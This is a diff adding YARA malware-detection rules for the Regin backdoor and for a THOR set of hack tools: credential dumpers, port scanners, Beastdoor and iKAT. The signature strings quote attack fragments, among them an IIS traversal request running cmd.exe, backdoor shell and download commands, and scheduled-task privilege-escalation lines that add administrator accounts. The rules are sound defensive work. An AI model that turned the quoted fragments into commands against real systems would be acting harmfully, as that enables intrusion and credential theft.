+		$s13 = "KeInitializeEvent" fullword ascii
+		$s14 = "IoBuildDeviceIoControlRequest" fullword ascii
+		$s15 = "KeRemoveDeviceQueue" fullword ascii
+		$s16 = "IofCompleteRequest" fullword ascii
+		$s17 = "KeInitializeSpinLock" fullword ascii
+		$s18 = "MmIsNonPagedSystemAddressValid" fullword ascii
+		$s19 = "IoCreateDevice" fullword ascii
+		$s20 = "KefReleaseSpinLockFromDpcLevel" fullword ascii
+	condition:
+		all of them and filesize < 40KB and filesize > 30KB
+}
+
+rule Regin_Sample_Set_2 {
+	meta:
+		description = "Detects Regin Backdoor sample 4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be and e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935"
+		author = "@MalwrSignatures"
+		date = "27.11.14"
+		hash1 = "4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be"
+		hash2 = "e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935"
+	strings:
+		$hd = { fe ba dc fe }
+	
+		$s0 = "d%ls%ls" fullword wide
+		$s1 = "\\\\?\\UNC" fullword wide
+		$s2 = "Software\\Microsoft\\Windows\\CurrentVersion" fullword wide
+		$s3 = "\\\\?\\UNC\\" fullword wide
+		$s4 = "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" fullword wide
+		$s5 = "System\\CurrentControlSet\\Services\\Tcpip\\Linkage" wide fullword
+		$s6 = "\\\\.\\Global\\%s" fullword wide
+		$s7 = "temp" fullword wide
+		$s8 = "\\\\.\\%s" fullword wide
+		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide		
+		
+		$s10 = "sscanf" fullword ascii
+		$s11 = "disp.dll" fullword ascii
+		$s12 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii
+		$s13 = "%d.%d.%d.%d%c" fullword ascii
+		$s14 = "imagehlp.dll" fullword ascii
+		$s15 = "%hd %d" fullword ascii
+	condition:
+		( $hd at 0 ) and all of ($s*) and filesize < 450KB and filesize > 360KB
+}
+
+rule apt_regin_legspin {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect Regin's Legspin module"
+	    version = "1.0"
+	    last_modified = "2015-01-22"
+	    reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
+	    md5 = "29105f46e4d33f66fee346cfd099d1cc"
+	strings:
+	    $mz="MZ"
+	    $a1="sharepw"
+	    $a2="reglist"
+	    $a3="logdump"
+	    $a4="Name:" wide
+	    $a5="Phys Avail:"
+	    $a6="cmd.exe" wide
+	    $a7="ping.exe" wide
+	    $a8="millisecs"
+	condition:
+	    ($mz at 0) and all of ($a*)
+}
+
+rule apt_regin_hopscotch {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect Regin's Hopscotch module"
+	    version = "1.0"
+	    last_modified = "2015-01-22"
+	    reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
+	    md5 = "6c34031d7a5fc2b091b623981a8ae61c"
+	strings:
+
+	    $mz="MZ"
+
+	    $a1="AuthenticateNetUseIpc"
+	    $a2="Failed to authenticate to"
+	    $a3="Failed to disconnect from"
+	    $a4="%S\\ipc$" wide
+	    $a5="Not deleting..."
+	    $a6="CopyServiceToRemoteMachine"
+	    $a7="DH Exchange failed"
+	    $a8="ConnectToNamedPipes"
+	condition:
+	    ($mz at 0) and all of ($a*)
+}
+
+rule Regin_Related_Malware {
+	meta:
+		description = "Malware Sample - maybe Regin related"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "76c355bfeb859a347e38da89e3d30a6ff1f94229"
+	strings:
+		$s1 = "%c%s%c -p %d -e %d -pv -c \"~~[%x] s; .%c%c%s %s /u %s_%d.dmp; q\"" fullword wide /* score: '22.015' */
+
+		$s0 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" fullword wide /* PEStudio Blacklist: os */ /* score: '26.02' */
+		$s2 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii /* score: '13.01' */
+		$s3 = "disp.dll" fullword ascii /* score: '11.01' */
+		$s4 = "msvcrtd.dll" fullword ascii /* score: '11.005' */
+		$s5 = "%d.%d.%d.%d%c" fullword ascii /* score: '11.0' */
+		$s6 = "%ls_%08x" fullword wide /* score: '8.0' */
+		$s8 = "d%ls%ls" fullword wide /* score: '7.005' */
+		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide /* score: '6.025' */
+	condition:
+		$s1 or 3 of ($s*)
+}/*
+
+   THOR APT Scanner - Hack Tool Extract
+   This rulset is a subset of all hack tool rules included in our
+   APT Scanner THOR - the full featured APT scanner.
+
+   We will frequently update this file with new rules rated TLP:WHITE
+
+   Florian Roth
+   BSK Consulting GmbH
+   Web: bsk-consulting.de
+
+   revision: 20150510
+
+   License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
+	Copyright and related rights waived via https://creativecommons.org/licenses/by-nc-sa/4.0/
+
+*/
+
+/* WCE */
+
+rule WindowsCredentialEditor
+{
+    meta:
+    	description = "Windows Credential Editor"
+      threat_level = 10
+      score = 90
+    strings:
+		$a = "extract the TGT session key"
+		$b = "Windows Credentials Editor"
+    condition:
+    	all of them
+}
+
+rule Amplia_Security_Tool
+{
+    meta:
+		description = "Amplia Security Tool"
+		score = 60
+		nodeepdive = 1
+    strings:
+		$a = "Amplia Security"
+		$b = "Hernan Ochoa"
+		$c = "getlsasrvaddr.exe"
+		$d = "Cannot get PID of LSASS.EXE"
+		$e = "extract the TGT session key"
+		$f = "PPWDUMP_DATA"
+    condition: 1 of them
+}
+
+/* pwdump/fgdump */
+
+rule PwDump
+{
+	meta:
+		description = "PwDump 6 variant"
+		author = "Marc Stroebel"
+		date = "2014-04-24"
+		score = 70
+	strings:
+		$s5 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineNa"
+		$s6 = "Unable to query service status. Something is wrong, please manually check the st"
+		$s7 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword
+	condition:
+		all of them
+}
+
+rule PScan_Portscan_1 {
+	meta:
+		description = "PScan - Port Scanner"
+		author = "F. Roth"
+		score = 50
+	strings:
+		$a = "00050;0F0M0X0a0v0}0"
+		$b = "vwgvwgvP76"
+		$c = "Pr0PhOFyP"
+	condition:
+		all of them
+}
+
+rule HackTool_Samples {
+	meta:
+		description = "Hacktool"
+		score = 50
+	strings:
+		$a = "Unable to uninstall the fgexec service"
+		$b = "Unable to set socket to sniff"
+		$c = "Failed to load SAM functions"
+		$d = "Dump system passwords"
+		$e = "Error opening sam hive or not valid file"
+		$f = "Couldn't find LSASS pid"
+		$g = "samdump.dll"
+		$h = "WPEPRO SEND PACKET"
+		$i = "WPE-C1467211-7C89-49c5-801A-1D048E4014C4"
+		$j = "Usage: unshadow PASSWORD-FILE SHADOW-FILE"
+		$k = "arpspoof\\Debug"
+		$l = "Success: The log has been cleared"
+		$m = "clearlogs [\\\\computername"
+		$n = "DumpUsers 1."
+		$o = "dictionary attack with specified dictionary file"
+		$p = "by Objectif Securite"
+		$q = "objectif-securite"
+		$r = "Cannot query LSA Secret on remote host"
+		$s = "Cannot write to process memory on remote host"
+		$t = "Cannot start PWDumpX service on host"
+		$u = "usage: %s <system hive> <security hive>"
+		$v = "username:domainname:LMhash:NThash"
+		$w = "<server_name_or_ip> | -f <server_list_file> [username] [password]"
+		$x = "Impersonation Tokens Available"
+		$y = "failed to parse pwdump format string"
+		$z = "Dumping password"
+	condition:
+		1 of them
+}
+
+rule HackTool_Producers {
+	meta: description = "Hacktool Producers String"
+   threat_level = 5
+   score = 50
+   nodeepdive = 1
+	strings:
+	$a1 = "www.oxid.it"
+	$a2 = "www.analogx.com"
+	$a3 = "ntsecurity.nu"
+	$a4 = "gentilkiwi.com"
+	$a6 = "Marcus Murray"
+	condition:
+	1 of ($a*) and
+	not extension contains ".ini" and
+	not extension contains ".xml" and
+	not extension contains ".sqlite"
+}
+
+/* Disclosed hack tool set */
+
+rule Fierce2
+{
+	meta:
+		author = "Florian Roth"
+		description = "This signature detects the Fierce2 domain scanner"
+		date = "07/2014"
+		score = 60
+	strings:
+		$s1 = "$tt_xml->process( 'end_domainscan.tt', $end_domainscan_vars,"
+	condition:
+		1 of them
+}
+
+rule Ncrack
+{
+	meta:
+		author = "Florian Roth"
+		description = "This signature detects the Ncrack brute force tool"
+		date = "07/2014"
+		score = 60
+	strings:
+		$s1 = "NcrackOutputTable only supports adding up to 4096 to a cell via"
+	condition:
+		1 of them
+}
+
+rule SQLMap
+{
+	meta:
+		author = "Florian Roth"
+		description = "This signature detects the SQLMap SQL injection tool"
+		date = "07/2014"
+		score = 60
+	strings:
+		$s1 = "except SqlmapBaseException, ex:"
+	condition:
+		1 of them
+}
+
+rule PortScanner {
+	meta:
+		description = "Auto-generated rule on file PortScanner.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "b381b9212282c0c650cb4b0323436c63"
+	strings:
+		$s0 = "Scan Ports Every"
+		$s3 = "Scan All Possible Ports!"
+	condition:
+		all of them
+}
+
+rule DomainScanV1_0 {
+	meta:
+		description = "Auto-generated rule on file DomainScanV1_0.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "aefcd73b802e1c2bdc9b2ef206a4f24e"
+	strings:
+		$s0 = "dIJMuX$aO-EV"
+		$s1 = "XELUxP\"-\\"
+		$s2 = "KaR\"U'}-M,."
+		$s3 = "V.)\\ZDxpLSav"
+		$s4 = "Decompress error"
+		$s5 = "Can't load library"
+		$s6 = "Can't load function"
+		$s7 = "com0tl32:.d"
+	condition:
+		all of them
+}
+
+rule MooreR_Port_Scanner {
+	meta:
+		description = "Auto-generated rule on file MooreR Port Scanner.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "376304acdd0b0251c8b19fea20bb6f5b"
+	strings:
+		$s0 = "Description|"
+		$s3 = "soft Visual Studio\\VB9yp"
+		$s4 = "adj_fptan?4"
+		$s7 = "DOWS\\SyMem32\\/o"
+	condition:
+		all of them
+}
+
+rule NetBIOS_Name_Scanner {
+	meta:
+		description = "Auto-generated rule on file NetBIOS Name Scanner.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "888ba1d391e14c0a9c829f5a1964ca2c"
+	strings:
+		$s0 = "IconEx"
+		$s2 = "soft Visual Stu"
+		$s4 = "NBTScanner!y&"
+	condition:
+		all of them
+}
+
+rule FeliksPack3___Scanners_ipscan {
+	meta:
+		description = "Auto-generated rule on file ipscan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "6c1bcf0b1297689c8c4c12cc70996a75"
+	strings:
+		$s2 = "WCAP;}ECTED"
+		$s4 = "NotSupported"
+		$s6 = "SCAN.VERSION{_"
+	condition:
+		all of them
+}
+
+rule CGISscan_CGIScan {
+	meta:
+		description = "Auto-generated rule on file CGIScan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "338820e4e8e7c943074d5a5bc832458a"
+	strings:
+		$s1 = "Wang Products" fullword wide
+		$s2 = "WSocketResolveHost: Cannot convert host address '%s'"
+		$s3 = "tcp is the only protocol supported thru socks server"
+	condition:
+		all of ($s*)
+}
+
+rule IP_Stealing_Utilities {
+	meta:
+		description = "Auto-generated rule on file IP Stealing Utilities.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "65646e10fb15a2940a37c5ab9f59c7fc"
+	strings:
+		$s0 = "DarkKnight"
+		$s9 = "IPStealerUtilities"
+	condition:
+		all of them
+}
+
+rule SuperScan4 {
+	meta:
+		description = "Auto-generated rule on file SuperScan4.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "78f76428ede30e555044b83c47bc86f0"
+	strings:
+		$s2 = " td class=\"summO1\">"
+		$s6 = "REM'EBAqRISE"
+		$s7 = "CorExitProcess'msc#e"
+	condition:
+		all of them
+
+}
+rule PortRacer {
+	meta:
+		description = "Auto-generated rule on file PortRacer.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "2834a872a0a8da5b1be5db65dfdef388"
+	strings:
+		$s0 = "Auto Scroll BOTH Text Boxes"
+		$s4 = "Start/Stop Portscanning"
+		$s6 = "Auto Save LogFile by pressing STOP"
+	condition:
+		all of them
+}
+
+rule scanarator {
+	meta:
+		description = "Auto-generated rule on file scanarator.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "848bd5a518e0b6c05bd29aceb8536c46"
+	strings:
+		$s4 = "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
+	condition:
+		all of them
+}
+
+rule aolipsniffer {
+	meta:
+		description = "Auto-generated rule on file aolipsniffer.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "51565754ea43d2d57b712d9f0a3e62b8"
+	strings:
+		$s0 = "C:\\Program Files\\Microsoft Visual Studio\\VB98\\VB6.OLB"
+		$s1 = "dwGetAddressForObject"
+		$s2 = "Color Transfer Settings"
+		$s3 = "FX Global Lighting Angle"
+		$s4 = "Version compatibility info"
+		$s5 = "New Windows Thumbnail"
+		$s6 = "Layer ID Generator Base"
+		$s7 = "Color Halftone Settings"
+		$s8 = "C:\\WINDOWS\\SYSTEM\\MSWINSCK.oca"
+	condition:
+		all of them
+}
+
+rule _Bitchin_Threads_ {
+	meta:
+		description = "Auto-generated rule on file =Bitchin Threads=.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "7491b138c1ee5a0d9d141fbfd1f0071b"
+	strings:
+		$s0 = "DarKPaiN"
+		$s1 = "=BITCHIN THREADS"
+	condition:
+		all of them
+}
+
+rule cgis4_cgis4 {
+	meta:
+		description = "Auto-generated rule on file cgis4.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "d658dad1cd759d7f7d67da010e47ca23"
+	strings:
+		$s0 = ")PuMB_syJ"
+		$s1 = "&,fARW>yR"
+		$s2 = "m3hm3t_rullaz"
+		$s3 = "7Projectc1"
+		$s4 = "Ten-GGl\""
+		$s5 = "/Moziqlxa"
+	condition:
+		all of them
+}
+
+rule portscan {
+	meta:
+		description = "Auto-generated rule on file portscan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "a8bfdb2a925e89a281956b1e3bb32348"
+	strings:
+		$s5 = "0    :SCAN BEGUN ON PORT:"
+		$s6 = "0    :PORTSCAN READY."
+	condition:
+		all of them
+}
+
+rule ProPort_zip_Folder_ProPort {
+	meta:
+		description = "Auto-generated rule on file ProPort.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "c1937a86939d4d12d10fc44b7ab9ab27"
+	strings:
+		$s0 = "Corrupt Data!"
+		$s1 = "K4p~omkIz"
+		$s2 = "DllTrojanScan"
+		$s3 = "GetDllInfo"
+		$s4 = "Compressed by Petite (c)1999 Ian Luck."
+		$s5 = "GetFileCRC32"
+		$s6 = "GetTrojanNumber"
+		$s7 = "TFAKAbout"
+	condition:
+		all of them
+}
+
+rule StealthWasp_s_Basic_PortScanner_v1_2 {
+	meta:
+		description = "Auto-generated rule on file StealthWasp's Basic PortScanner v1.2.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "7c0f2cab134534cd35964fe4c6a1ff00"
+	strings:
+		$s1 = "Basic PortScanner"
+		$s6 = "Now scanning port:"
+	condition:
+		all of them
+}
+
+rule BluesPortScan {
+	meta:
+		description = "Auto-generated rule on file BluesPortScan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "6292f5fc737511f91af5e35643fc9eef"
+	strings:
+		$s0 = "This program was made by Volker Voss"
+		$s1 = "JiBOo~SSB"
+	condition:
+		all of them
+}
+
+rule scanarator_iis {
+	meta:
+		description = "Auto-generated rule on file iis.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "3a8fc02c62c8dd65e038cc03e5451b6e"
+	strings:
+		$s0 = "example: iis 10.10.10.10"
+		$s1 = "send error"
+	condition:
+		all of them
+}
+
+rule stealth_Stealth {
+	meta:
+		description = "Auto-generated rule on file Stealth.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "8ce3a386ce0eae10fc2ce0177bbc8ffa"
+	strings:
+		$s3 = "<table width=\"60%\" bgcolor=\"black\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" bordercolor=\"white\"><tr><td>"
+		$s6 = "This tool may be used only by system administrators. I am not responsible for "
+	condition:
+		all of them
+}
+
+rule Angry_IP_Scanner_v2_08_ipscan {
+	meta:
+		description = "Auto-generated rule on file ipscan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "70cf2c09776a29c3e837cb79d291514a"
+	strings:
+		$s0 = "_H/EnumDisplay/"
+		$s5 = "ECTED.MSVCRT0x"
+		$s8 = "NotSupported7"
+	condition:
+		all of them
+}
+
+rule crack_Loader {
+	meta:
+		description = "Auto-generated rule on file Loader.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		hash = "f4f79358a6c600c1f0ba1f7e4879a16d"
+	strings:
+		$s0 = "NeoWait.exe"
+		$s1 = "RRRRRRRW"
+	condition:
+		all of them
+}
+
+rule CN_GUI_Scanner {
+	meta:
+		description = "Detects an unknown GUI scanner tool - CN background"
+		author = "Florian Roth"
+		hash = "3c67bbb1911cdaef5e675c56145e1112"
+		score = 65
+		date = "04.10.2014"
+	strings:
+		$s1 = "good.txt" fullword ascii
+		$s2 = "IP.txt" fullword ascii
+		$s3 = "xiaoyuer" fullword ascii
+		$s0w = "ssh(" fullword wide
+		$s1w = ").exe" fullword wide
+	condition:
+		all of them
+}
+
+rule CN_Packed_Scanner {
+	meta:
+		description = "Suspiciously packed executable"
+		author = "Florian Roth"
+		hash = "6323b51c116a77e3fba98f7bb7ff4ac6"
+		score = 40
+		date = "06.10.2014"
+	strings:
+		$s1 = "kernel32.dll" fullword ascii
+		$s2 = "CRTDLL.DLL" fullword ascii
+		$s3 = "__GetMainArgs" fullword ascii
+		$s4 = "WS2_32.DLL" fullword ascii
+	condition:
+		all of them and filesize < 180KB and filesize > 70KB
+}
+
+rule Tiny_Network_Tool_Generic {
+	meta:
+		description = "Tiny tool with suspicious function imports. (Rule based on WinEggDrop Scanner samples)"
+		author = "Florian Roth"
+		date = "08.10.2014"
+		score = 40
+		type = "file"
+		hash0 = "9e1ab25a937f39ed8b031cd8cfbc4c07"
+		hash1 = "cafc31d39c1e4721af3ba519759884b9"
+		hash2 = "8e635b9a1e5aa5ef84bfa619bd2a1f92"
+	strings:
+		$magic	= { 4d 5a }
+
+		$s0 = "KERNEL32.DLL" fullword ascii
+		$s1 = "CRTDLL.DLL" fullword ascii
+		$s3 = "LoadLibraryA" fullword ascii
+		$s4 = "GetProcAddress" fullword ascii
+
+		$y1 = "WININET.DLL" fullword ascii
+		$y2 = "atoi" fullword ascii
+
+		$x1 = "ADVAPI32.DLL" fullword ascii
+		$x2 = "USER32.DLL" fullword ascii
+		$x3 = "wsock32.dll" fullword ascii
+		$x4 = "FreeSid" fullword ascii
+		$x5 = "atoi" fullword ascii
+
+		$z1 = "ADVAPI32.DLL" fullword ascii
+		$z2 = "USER32.DLL" fullword ascii
+		$z3 = "FreeSid" fullword ascii
+		$z4 = "ToAscii" fullword ascii
+
+	condition:
+		( $magic at 0 ) and all of ($s*) and ( all of ($y*) or all of ($x*) or all of ($z*) ) and filesize < 15KB
+}
+
+rule Beastdoor_Backdoor {
+	meta:
+		description = "Detects the backdoor Beastdoor"
+		author = "Florian Roth"
+		score = 55
+		hash = "5ab10dda548cb821d7c15ebcd0a9f1ec6ef1a14abcc8ad4056944d060c49535a"
+	strings:
+		$s0 = "Redirect SPort RemoteHost RPort  -->Port Redirector" fullword
+		$s1 = "POST /scripts/WWPMsg.dll HTTP/1.0" fullword
+		$s2 = "http://IP/a.exe a.exe            -->Download A File" fullword
+		$s7 = "Host: wwp.mirabilis.com:80" fullword
+		$s8 = "%s -Set Port PortNumber              -->Set The Service Port" fullword
+		$s11 = "Shell                            -->Get A Shell" fullword
+		$s14 = "DeleteService ServiceName        -->Delete A Service" fullword
+		$s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword
+		$s17 = "%s -Set ServiceName ServiceName      -->Set The Service Name" fullword
+	condition:
+		2 of them
+}
+
+rule Powershell_Netcat {
+	meta:
+		description = "Detects a Powershell version of the Netcat network hacking tool"
+		author = "Florian Roth"
+		score = 60
+		date = "10.10.2014"
+	strings:
+		$s0 = "[ValidateRange(1, 65535)]" fullword
+		$s1 = "$Client = New-Object -TypeName System.Net.Sockets.TcpClient" fullword
+		$s2 = "$Buffer = New-Object -TypeName System.Byte[] -ArgumentList $Client.ReceiveBufferSize" fullword
+	condition:
+		all of them
+}
+
+rule Chinese_Hacktool_1014 {
+	meta:
+		description = "Detects a chinese hacktool with unknown use"
+		author = "Florian Roth"
+		score = 60
+		date = "10.10.2014"
+		hash = "98c07a62f7f0842bcdbf941170f34990"
+	strings:
+		$s0 = "IEXT2_IDC_HORZLINEMOVECURSOR" fullword wide
+		$s1 = "msctls_progress32" fullword wide
+		$s2 = "Reply-To: %s" fullword ascii
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
+		$s4 = "html htm htx asp" fullword ascii
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_BAT_PortsOpen {
+	meta:
+		description = "Detects a chinese BAT hacktool for local port evaluation"
+		author = "Florian Roth"
+		score = 60
+		date = "12.10.2014"
+	strings:
+		$s0 = "for /f \"skip=4 tokens=2,5\" %%a in ('netstat -ano -p TCP') do (" ascii
+		$s1 = "in ('tasklist /fi \"PID eq %%b\" /FO CSV') do " ascii
+		$s2 = "@echo off" ascii
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_SSPort_Portscanner {
+	meta:
+		description = "Detects a chinese Portscanner named SSPort"
+		author = "Florian Roth"
+		score = 70
+		date = "12.10.2014"
+	strings:
+		$s0 = "Golden Fox" fullword wide
+		$s1 = "Syn Scan Port" fullword wide
+		$s2 = "CZ88.NET" fullword wide
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_ScanPort_Portscanner {
+	meta:
+		description = "Detects a chinese Portscanner named ScanPort"
+		author = "Florian Roth"
+		score = 70
+		date = "12.10.2014"
+	strings:
+		$s0 = "LScanPort" fullword wide
+		$s1 = "LScanPort Microsoft" fullword wide
+		$s2 = "www.yupsoft.com" fullword wide
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_S_EXE_Portscanner {
+	meta:
+		description = "Detects a chinese Portscanner named s.exe"
+		author = "Florian Roth"
+		score = 70
+		date = "12.10.2014"
+	strings:
+		$s0 = "\\Result.txt" fullword ascii
+		$s1 = "By:ZT QQ:376789051" fullword ascii
+		$s2 = "(http://www.eyuyan.com)" fullword wide
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_MilkT_BAT {
+	meta:
+		description = "Detects a chinese Portscanner named MilkT - shipped BAT"
+		author = "Florian Roth"
+		score = 70
+		date = "12.10.2014"
+	strings:
+		$s0 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" ascii
+		$s1 = "if not \"%Choice%\"==\"\" set Choice=%Choice:~0,1%" ascii
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_MilkT_Scanner {
+	meta:
+		description = "Detects a chinese Portscanner named MilkT"
+		author = "Florian Roth"
+		score = 60
+		date = "12.10.2014"
+	strings:
+		$s0 = "Bf **************" ascii fullword
+		$s1 = "forming Time: %d/" ascii
+		$s2 = "KERNEL32.DLL" ascii fullword
+		$s3 = "CRTDLL.DLL" ascii fullword
+		$s4 = "WS2_32.DLL" ascii fullword
+		$s5 = "GetProcAddress" ascii fullword
+		$s6 = "atoi" ascii fullword
+	condition:
+		all of them
+}
+
+rule CN_Hacktool_1433_Scanner {
+	meta:
+		description = "Detects a chinese MSSQL scanner"
+		author = "Florian Roth"
+		score = 40
+		date = "12.10.2014"
+	strings:
+		$magic = { 4d 5a }
+		$s0 = "1433" wide fullword
+		$s1 = "1433V" wide
+		$s2 = "del Weak1.txt" ascii fullword
+		$s3 = "del Attack.txt" ascii fullword
+		$s4 = "del /s /Q C:\\Windows\\system32\\doors\\" fullword ascii
+		$s5 = "!&start iexplore http://www.crsky.com/soft/4818.html)" fullword ascii
+	condition:
+		( $magic at 0 ) and all of ($s*)
+}
+
+rule CN_Hacktool_1433_Scanner_Comp2 {
+	meta:
+		description = "Detects a chinese MSSQL scanner - component 2"
+		author = "Florian Roth"
+		score = 40
+		date = "12.10.2014"
+	strings:
+		$magic = { 4d 5a }
+		$s0 = "1433" wide fullword
+		$s1 = "1433V" wide
+		$s2 = "UUUMUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUMUUU" ascii fullword
+	condition:
+		( $magic at 0 ) and all of ($s*)
+}
+
+rule WCE_Modified_1_1014 {
+	meta:
+		description = "Modified (packed) version of Windows Credential Editor"
+		author = "Florian Roth"
+		hash = "09a412ac3c85cedce2642a19e99d8f903a2e0354"
+		score = 70
+	strings:
+		$s0 = "LSASS.EXE" fullword ascii
+		$s1 = "_CREDS" ascii
+		$s9 = "Using WCE " ascii
+	condition:
+		all of them
+}
+
+rule ReactOS_cmd_valid {
+	meta:
+		description = "ReactOS cmd.exe with correct file name - maybe packed with software or part of hacker toolset"
+		author = "Florian Roth"
+		date = "05.11.14"
+		reference = "http://www.elifulkerson.com/articles/suzy-sells-cmd-shells.php"
+		score = 30
+		hash = "b88f050fa69d85af3ff99af90a157435296cbb6e"
+	strings:
+		$s1 = "ReactOS Command Processor" fullword wide
+		$s2 = "Copyright (C) 1994-1998 Tim Norman and others" fullword wide
+		$s3 = "Eric Kohl and others" fullword wide
+		$s4 = "ReactOS Operating System" fullword wide
+	condition:
+		all of ($s*)
+}
+
+rule iKAT_wmi_rundll {
+	meta:
+		description = "This exe will attempt to use WMI to Call the Win32_Process event to spawn rundll - file wmi_rundll.exe"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 65
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "97c4d4e6a644eed5aa12437805e39213e494d120"
+	strings:
+		$s0 = "This operating system is not supported." fullword ascii
+		$s1 = "Error!" fullword ascii
+		$s2 = "Win32 only!" fullword ascii
+		$s3 = "COMCTL32.dll" fullword ascii
+		$s4 = "[LordPE]" ascii
+		$s5 = "CRTDLL.dll" fullword ascii
+		$s6 = "VBScript" fullword ascii
+		$s7 = "CoUninitialize" fullword ascii
+	condition:
+		all of them and filesize < 15KB
+}
+
+rule iKAT_revelations {
+	meta:
+		description = "iKAT hack tool showing the content of password fields - file revelations.exe"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 75
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "c4e217a8f2a2433297961561c5926cbd522f7996"
+	strings:
+		$s0 = "The RevelationHelper.DLL file is corrupt or missing." fullword ascii
+		$s8 = "BETAsupport@snadboy.com" fullword wide
+		$s9 = "support@snadboy.com" fullword wide
+		$s14 = "RevelationHelper.dll" fullword ascii
+	condition:
+		all of them
+}
+
+rule iKAT_priv_esc_tasksch {
+	meta:
+		description = "Task Schedulder Local Exploit - Windows local priv-esc using Task Scheduler, published by webDevil. Supports Windows 7 and Vista."
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 75
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "84ab94bff7abf10ffe4446ff280f071f9702cf8b"
+	strings:
+		$s0 = "objShell.Run \"schtasks /change /TN wDw00t /disable\",,True" fullword ascii
+		$s3 = "objShell.Run \"schtasks /run /TN wDw00t\",,True" fullword ascii
+		$s4 = "'objShell.Run \"cmd /c copy C:\\windows\\system32\\tasks\\wDw00t .\",,True" fullword ascii
+		$s6 = "a.WriteLine (\"schtasks /delete /f /TN wDw00t\")" fullword ascii
+		$s7 = "a.WriteLine (\"net user /add ikat ikat\")" fullword ascii
+		$s8 = "a.WriteLine (\"cmd.exe\")" fullword ascii
+		$s9 = "strFileName=\"C:\\windows\\system32\\tasks\\wDw00t\"" fullword ascii
+		$s10 = "For n = 1 To (Len (hexXML) - 1) step 2" fullword ascii
+		$s13 = "output.writeline \" Should work on Vista/Win7/2008 x86/x64\"" fullword ascii
+		$s11 = "Set objExecObject = objShell.Exec(\"cmd /c schtasks /query /XML /TN wDw00t\")" fullword ascii
+		$s12 = "objShell.Run \"schtasks /create /TN wDw00t /sc monthly /tr \"\"\"+biatchFile+\"" ascii
+		$s14 = "a.WriteLine (\"net localgroup administrators /add v4l\")" fullword ascii
+		$s20 = "Set ts = fso.createtextfile (\"wDw00t.xml\")" fullword ascii
+	condition:
+		2 of them
+}
+
+rule iKAT_command_lines_agent {
+	meta:
+		description = "iKAT hack tools set agent - file ikat.exe"
+		author = "Florian Roth"
+		date = "05.11.14"
+		score = 75
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		hash = "c802ee1e49c0eae2a3fc22d2e82589d857f96d94"
+	strings:
+		$s0 = "Extended Module: super mario brothers" fullword ascii
+		$s1 = "Extended Module: " fullword ascii
+		$s3 = "ofpurenostalgicfeeling" fullword ascii
+		$s8 = "-supermariobrotheretic" fullword ascii
+		$s9 = "!http://132.147.96.202:80" fullword ascii
+		$s12 = "iKAT Exe Template" fullword ascii
+		$s15 = "withadancyflavour.." fullword ascii
